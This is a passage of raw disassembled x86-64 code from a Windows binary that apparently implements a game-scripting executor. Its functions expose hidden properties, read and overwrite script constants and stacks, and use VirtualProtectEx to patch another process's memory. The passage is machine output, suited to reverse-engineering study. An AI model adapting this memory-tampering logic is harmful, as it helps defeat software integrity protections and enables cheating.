movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x12d0]
mov rcx, rax
call fcn.140013f40
movsx eax, word [0x1404979d4]
mov dword [rsp + 0x810], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x810]
mov rcx, rax
call fcn.140013ee0
mov qword [rsp + 0x12d8], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x12d8]
mov rcx, rax
call fcn.140013f40
movsx eax, word [0x1404979d4]
mov dword [rsp + 0x814], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x814]
mov rcx, rax
call fcn.140013ee0
nop
lea rcx, [rsp + 0x1fb8]
call fcn.1400176c0
jmp 0x140027987
lea rdx, str.setconnectionf
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140025a47
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb50], rax
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x2c0], eax
cvttsd2si rax, qword [rsp + 0xb48]
mov dword [rsp + 0x81c], eax
lea r8, [rsp + 0xb50]
lea rdx, [rsp + 0x25c0]
lea rcx, [rsp + 0x2350]
call fcn.140013260
mov qword [rsp + 0x12e8], rax
lea rdx, [rsp + 0x25c8]
lea rcx, [rsp + 0x2350]
call fcn.1400203d0
mov qword [rsp + 0x12e0], rax
mov rdx, qword [rsp + 0x12e0]
mov rcx, qword [rsp + 0x12e8]
call fcn.1400182a0
movzx eax, al
test eax, eax
je 0x140025a42
lea rdx, [rsp + 0xb50]
lea rcx, [rsp + 0x2350]
call fcn.1400183d0
mov rdx, rax
lea rcx, [rsp + 0x1fd0]
call fcn.140015b00
nop
mov dword [rsp + 0x418], 0x30
mov dword [rsp + 0x818], 0x68
mov byte [rsp + 0x2a4], 0
cmp dword [rsp + 0x2c0], 0
jle 0x140025a35
movsxd rax, dword [rsp + 0x2c0]
mov qword [rsp + 0x12f0], rax
lea rcx, [rsp + 0x1fd0]
call fcn.140035930
mov rcx, qword [rsp + 0x12f0]
cmp rax, rcx
jb 0x140025a35
mov eax, dword [rsp + 0x2c0]
dec eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x1fd0]
call fcn.140018430
mov rax, qword [rax]
mov qword [rsp + 0xb58], rax
movsxd rax, dword [rsp + 0x418]
mov rcx, qword [rsp + 0xb58]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
test rax, rax
jne 0x1400259c8
lea rcx, [rsp + 0x1fd0]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x190]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1cc0]
call fcn.140017680
nop
lea rcx, [rsp + 0xab8]
call fcn.1400177c0
jmp 0x140030549
movsxd rax, dword [rsp + 0x418]
mov rcx, qword [rsp + 0xb58]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
add rax, 8
mov qword [rsp + 0xb60], rax
movsxd rax, dword [rsp + 0x818]
mov rcx, qword [rsp + 0xb60]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x28f0], rax
mov rax, qword [rsp + 0xb60]
add rax, 0x14
lea rdx, [rsp + 0x81c]
mov rcx, rax
call fcn.140013ee0
nop
lea rcx, [rsp + 0x1fd0]
call fcn.1400176c0
jmp 0x140027987
lea rdx, str.getcallbackvalue
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140025b9b
movsx rax, word [reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x28f8], rax
mov dword [rsp + 0x1c84], 0
movzx eax, word [reloc.WS2_32.dll_connect]
mov word [rsp + 0x14c], ax
xorps xmm0, xmm0
movsd qword [rsp + 0x12f8], xmm0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x12f8]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x14c]
mov dword [rsp + 0x820], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x820]
mov rcx, rax
call fcn.140013ee0
xorps xmm0, xmm0
movsd qword [rsp + 0x1300], xmm0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x1300]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x14c]
mov dword [rsp + 0x824], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x824]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.unhideprop
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400262d3
xor eax, eax
test eax, eax
je 0x1400262ce
movsx rax, word [reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1318], rax
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x1308], rax
mov rax, qword [rsp + 0x1308]
add rax, 4
mov rcx, rax
call fcn.140013c60
mov word [rsp + 0x150], ax
movzx eax, word [rsp + 0x150]
cmp eax, 0x8000
jne 0x140025c36
lea rcx, str.Unrecognized_property_n
call fcn.14000cc30
jmp 0x1400262ce
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax + 0x48]
add rax, 0x4fa2190
mov qword [rsp + 0x1310], rax
movzx eax, word [rsp + 0x150]
mov rcx, qword [rsp + 0x1310]
lea rax, [rcx + rax*8]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x910], rax
mov rdx, qword [rsp + 0x910]
lea rcx, str.property_info:__p_n
call fcn.14000cc30
mov r8d, 8
mov edx, reloc.WS2_32.dll_recv
mov rcx, qword [rsp + 0x910]
call fcn.1400210b0
mov qword [rsp + 0x4c8], 0
mov rax, qword [rsp + 0x1318]
add rax, 0x18
mov rcx, rax
call fcn.140013da0
add rax, 0x3b0
mov qword [rsp + 0x3b0], rax
mov rdx, qword [rsp + 0x3b0]
lea rcx, str.a1:__p_n
call fcn.14000cc30
mov r8d, 8
mov edx, reloc.WS2_32.dll_recv
mov rcx, qword [rsp + 0x3b0]
call fcn.1400210b0
mov rax, qword [rsp + 0x910]
mov qword [rsp + 0xb68], rax
mov rcx, qword [rsp + 0x3b0]
call fcn.140013da0
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x3b0]
add rax, 8
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x4d0], rax
mov r8, qword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x1c0]
lea rcx, str.v2:__p._v3:__p_n
call fcn.14000cc30
mov rax, qword [rsp + 0x4d0]
cmp qword [rsp + 0x3b0], rax
jne 0x14002616b
mov rax, qword [rsp + 0xb68]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x3b0]
add rax, 0x20
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xb70], rax
mov rax, qword [rsp + 0xb70]
cmp qword [rsp + 0xb68], rax
jne 0x14002616b
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x4d0]
sub rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, str.Got_value:__p_n
call fcn.14000cc30
mov rax, qword [rsp + 0x2e0]
shr rax, 3
mov rcx, qword [rsp + 0x2e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e0]
shr rcx, 3
mov r9, rax
mov r8, rcx
mov rdx, qword [rsp + 0x2e0]
lea rcx, str.Got_value_2:__p___p___p_n
call fcn.14000cc30
movabs rdx, 0x2aaaaaaaaaaaaaab
lea rcx, [rsp + 0xdb0]
call fcn.1400146c0
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x4d0]
sub rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x3488]
call fcn.1400146c0
mov rdx, rax
lea rcx, [rsp + 0xdb0]
call fcn.140018bf0
mov edx, 0x40
lea rcx, [rsp + 0x23f0]
call fcn.140016be0
lea rdx, [rsp + 0x23f0]
lea rcx, [rsp + 0xdb0]
call fcn.140019100
mov edx, 2
lea rcx, [rsp + 0x2400]
call fcn.140016be0
lea rdx, [rsp + 0x2400]
lea rcx, [rsp + 0xdb0]
call fcn.140019100
movabs rdx, 0x2aaaaaaaaaaaaaab
lea rcx, [rsp + 0xdc0]
call fcn.1400146c0
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x4d0]
sub rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x3498]
call fcn.1400146c0
mov rdx, rax
lea rcx, [rsp + 0xdc0]
call fcn.140018bf0
mov edx, 0x40
lea rcx, [rsp + 0x2410]
call fcn.140016be0
lea rdx, [rsp + 0x2410]
lea rcx, [rsp + 0xdc0]
call fcn.140019100
mov edx, 0x3f
lea rcx, [rsp + 0x2420]
call fcn.140016be0
lea rdx, [rsp + 0x2420]
lea rcx, [rsp + 0xdc0]
call fcn.140019100
mov rax, qword [rsp + 0xdb0]
mov rcx, qword [rsp + 0xdc0]
lea rax, [rax + rcx - 1]
mov qword [rsp + 0x518], rax
mov rdx, qword [rsp + 0xdb0]
lea rcx, str.a.lo:__p_n
call fcn.14000cc30
mov rdx, qword [rsp + 0xdc0]
lea rcx, str.b.lo:__p_n
call fcn.14000cc30
mov rdx, qword [rsp + 0x518]
lea rcx, str.v7:__p_n
call fcn.14000cc30
mov rax, qword [rsp + 0x2e0]
shr rax, 3
mov rcx, qword [rsp + 0x2e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x518]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a8], rax
mov rdx, qword [rsp + 0x3a8]
lea rcx, str.v8:__p_n
call fcn.14000cc30
mov rax, qword [rsp + 0x1c0]
add rax, 0x18
mov rdx, rax
lea rcx, str.test1:__p_n
call fcn.14000cc30
imul rax, qword [rsp + 0x3a8], 0x18
mov rcx, qword [rsp + 0x1c0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1320], rax
mov rdx, qword [rsp + 0x1320]
lea rcx, str.test2:__p_n
call fcn.14000cc30
mov qword [rsp + 0x520], 0
mov qword [rsp + 0x1340], 0
xor eax, eax
cmp eax, 1
je 0x140026157
imul rax, qword [rsp + 0x3a8], 0x18
mov rcx, qword [rsp + 0x1c0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xb78], rax
imul rax, qword [rsp + 0x3a8], 0x18
mov rcx, qword [rsp + 0x1c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1338], rax
mov rax, qword [rsp + 0x2e0]
cmp qword [rsp + 0xb78], rax
jne 0x1400260bd
jmp 0x140026157
mov rax, qword [rsp + 0xb70]
cmp qword [rsp + 0xb78], rax
je 0x140026144
mov rax, qword [rsp + 0x520]
mov rcx, qword [rsp + 0x3a8]
lea rax, [rax + rcx + 1]
mov qword [rsp + 0x1328], rax
mov rax, qword [rsp + 0x520]
inc rax
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x1328]
mov qword [rsp + 0x1330], rax
mov rax, qword [rsp + 0x1330]
mov rcx, qword [rsp + 0x518]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x518]
cmp qword [rsp + 0x520], rax
ja 0x140026144
jmp 0x140026055
mov qword [rsp + 0x1338], 0
jmp 0x140026157
mov rax, qword [rsp + 0x1340]
add rax, 8
mov qword [rsp + 0x4c8], rax
mov rdx, qword [rsp + 0x4c8]
lea rcx, str.property_state:__p_n
call fcn.14000cc30
cmp qword [rsp + 0x4c8], 0
je 0x1400261ab
cmp qword [rsp + 0x4c8], 8
je 0x1400261ab
mov rax, qword [rsp + 0x4c8]
add rax, 8
mov qword [rsp + 0xb80], rax
jmp 0x1400261bb
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0xb80], rax
mov rax, qword [rsp + 0xb80]
mov qword [rsp + 0x4c0], rax
cmp qword [rsp + 0x4c0], 0
jne 0x1400261e7
lea rcx, str.index_state_was_null_n
call fcn.14000cc30
jmp 0x1400262ce
mov rax, qword [rsp + 0x4c0]
mov rdx, qword [rax]
lea rcx, str.index_state:__p_n
call fcn.14000cc30
mov rax, qword [rsp + 0x4c0]
mov rax, qword [rax]
add rax, 0x40
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x918], rax
mov r8d, 8
mov edx, reloc.WS2_32.dll_recv
mov rax, qword [rsp + 0x4c0]
mov rcx, qword [rax]
call fcn.1400210b0
lea rax, [rsp + 0x41c]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, 1
mov rdx, qword [rsp + 0x918]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov byte [rsp + 0xfa], 1
lea rdx, [rsp + 0xfa]
mov rcx, qword [rsp + 0x918]
call fcn.140013df0
lea rax, [rsp + 0x41c]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x41c]
mov r8d, 1
mov rdx, qword [rsp + 0x918]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8d, 8
mov edx, reloc.WS2_32.dll_recv
mov rax, qword [rsp + 0x4c0]
mov rcx, qword [rax]
call fcn.1400210b0
jmp 0x140027987
lea rdx, str.debug_getnstack
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140026468
movsx rax, word [0x14047d060]
mov rcx, qword [rsp + 0x158]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1348], rax
movsx rcx, word [reloc.WS2_32.dll_recv]
mov rdx, qword [rsp + 0x158]
add rdx, rcx
mov rcx, rdx
call fcn.140013da0
mov rcx, qword [rsp + 0x1348]
sub rax, rcx
mov qword [rsp + 0x1350], rax
mov rax, qword [rsp + 0x1350]
test rax, rax
jl 0x14002635a
cvtsi2sd xmm0, rax
jmp 0x140026373
mov rcx, rax
shr rcx, 1
and rax, 1
or rcx, rax
cvtsi2sd xmm1, rcx
addsd xmm1, xmm1
movaps xmm0, xmm1
movsd qword [rsp + 0xb88], xmm0
movzx eax, word [reloc.WS2_32.dll_connect]
mov word [rsp + 0x11c], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xb88]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x11c]
mov dword [rsp + 0x828], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x828]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xb88]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x11c]
mov dword [rsp + 0x82c], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x82c]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.debug_getstack
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140026778
movsx rax, word [0x14047d060]
mov rcx, qword [rsp + 0x158]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1358], rax
movsx rcx, word [reloc.WS2_32.dll_recv]
mov rdx, qword [rsp + 0x158]
add rdx, rcx
mov rcx, rdx
call fcn.140013da0
mov rcx, qword [rsp + 0x1358]
sub rax, rcx
mov qword [rsp + 0x1360], rax
cvttsd2si eax, qword [rsp + 0x3c8]
mov dword [rsp + 0x2c4], eax
movsx rax, word [0x14047d060]
mov rcx, qword [rsp + 0x158]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x160], rax
movsxd rax, dword [rsp + 0x2c4]
cmp rax, qword [rsp + 0x1360]
jbe 0x140026626
mov qword [rsp + 0x1368], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x1368]
mov rcx, rax
call fcn.140013f40
movsx eax, word [0x1404979d4]
mov dword [rsp + 0x830], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x830]
mov rcx, rax
call fcn.140013ee0
mov qword [rsp + 0x1370], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x1370]
mov rcx, rax
call fcn.140013f40
movsx eax, word [0x1404979d4]
mov dword [rsp + 0x834], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x834]
mov rcx, rax
call fcn.140013ee0
jmp 0x140026773
movsx rax, word [0x1404979d0]
movsx ecx, word [reloc.WS2_32.dll_recv]
mov edx, dword [rsp + 0x2c4]
dec edx
imul edx, ecx
mov ecx, edx
movsxd rcx, ecx
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xb90], rax
movsx rax, word [0x14047d02c]
movsx ecx, word [reloc.WS2_32.dll_recv]
mov edx, dword [rsp + 0x2c4]
dec edx
imul edx, ecx
mov ecx, edx
movsxd rcx, ecx
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x420], eax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xb90]
mov rcx, rax
call fcn.140013f40
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x420]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xb90]
mov rcx, rax
call fcn.140013f40
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x160]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x420]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.debug_getnconstants
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400268e7
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0x1378], rax
movsx rax, word [0x14047d084]
mov rcx, qword [rsp + 0x1378]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x838], eax
cvtsi2sd xmm0, dword [rsp + 0x838]
movsd qword [rsp + 0xb98], xmm0
movzx eax, word [reloc.WS2_32.dll_connect]
mov word [rsp + 0x130], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xb98]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x130]
mov dword [rsp + 0x83c], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x83c]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xb98]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x130]
mov dword [rsp + 0xa94], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xa94]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.debug_getconstant
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140026be2
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x2c8], eax
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0xba0], rax
movsx rax, word [0x14047d084]
mov rcx, qword [rsp + 0xba0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x880], eax
movsx rax, word [0x14047d078]
mov rcx, qword [rsp + 0xba0]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [reloc.WS2_32.dll_connect]
call fcn.140012fb0
mov qword [rsp + 0xba8], rax
mov eax, dword [rsp + 0x880]
cmp dword [rsp + 0x2c8], eax
jle 0x140026a9c
mov qword [rsp + 0x1380], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x1380]
mov rcx, rax
call fcn.140013f40
movsx eax, word [0x1404979d4]
mov dword [rsp + 0xa90], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xa90]
mov rcx, rax
call fcn.140013ee0
mov qword [rsp + 0x1388], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x1388]
mov rcx, rax
call fcn.140013f40
movsx eax, word [0x1404979d4]
mov dword [rsp + 0xa7c], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xa7c]
mov rcx, rax
call fcn.140013ee0
jmp 0x140026bdd
movsx rax, word [0x1404979d0]
movsx ecx, word [reloc.WS2_32.dll_recv]
mov edx, dword [rsp + 0x2c8]
dec edx
imul edx, ecx
mov ecx, edx
movsxd rcx, ecx
mov rdx, qword [rsp + 0xba8]
add rdx, rcx
mov rcx, rdx
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xbb0], rax
movsx rax, word [0x14047d02c]
movsx ecx, word [reloc.WS2_32.dll_recv]
mov edx, dword [rsp + 0x2c8]
dec edx
imul edx, ecx
mov ecx, edx
movsxd rcx, ecx
mov rdx, qword [rsp + 0xba8]
add rdx, rcx
mov rcx, rdx
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x424], eax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xbb0]
mov rcx, rax
call fcn.140013f40
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x424]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xbb0]
mov rcx, rax
call fcn.140013f40
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x424]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.debug_setconstant
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140026d32
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x2cc], eax
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0xbb8], rax
movsx rax, word [0x14047d084]
mov rcx, qword [rsp + 0xbb8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0xa78], eax
movsx rax, word [0x14047d078]
mov rcx, qword [rsp + 0xbb8]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [reloc.WS2_32.dll_connect]
call fcn.140012fb0
mov qword [rsp + 0xbc0], rax
mov eax, dword [rsp + 0xa78]
cmp dword [rsp + 0x2cc], eax
jle 0x140026ca5
jmp 0x140026d2d
movsx rax, word [0x1404979d0]
movsx ecx, word [reloc.WS2_32.dll_recv]
mov edx, dword [rsp + 0x2cc]
dec edx
imul edx, ecx
mov ecx, edx
movsxd rcx, ecx
mov rdx, qword [rsp + 0xbc0]
add rdx, rcx
mov rcx, rdx
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x4b8]
mov rcx, rax
call fcn.140013f40
movsx rax, word [0x14047d02c]
movsx ecx, word [reloc.WS2_32.dll_recv]
mov edx, dword [rsp + 0x2cc]
dec edx
imul edx, ecx
mov ecx, edx
movsxd rcx, ecx
mov rdx, qword [rsp + 0xbc0]
add rdx, rcx
mov rcx, rdx
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0xa6c]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.debug_getnprotos
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140026ea1
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0x1390], rax
movsx rax, word [0x14047d088]
mov rcx, qword [rsp + 0x1390]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0xa68], eax
cvtsi2sd xmm0, dword [rsp + 0xa68]
movsd qword [rsp + 0xbc8], xmm0
movzx eax, word [reloc.WS2_32.dll_connect]
mov word [rsp + 0x110], ax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xbc8]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x110]
mov dword [rsp + 0xa64], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
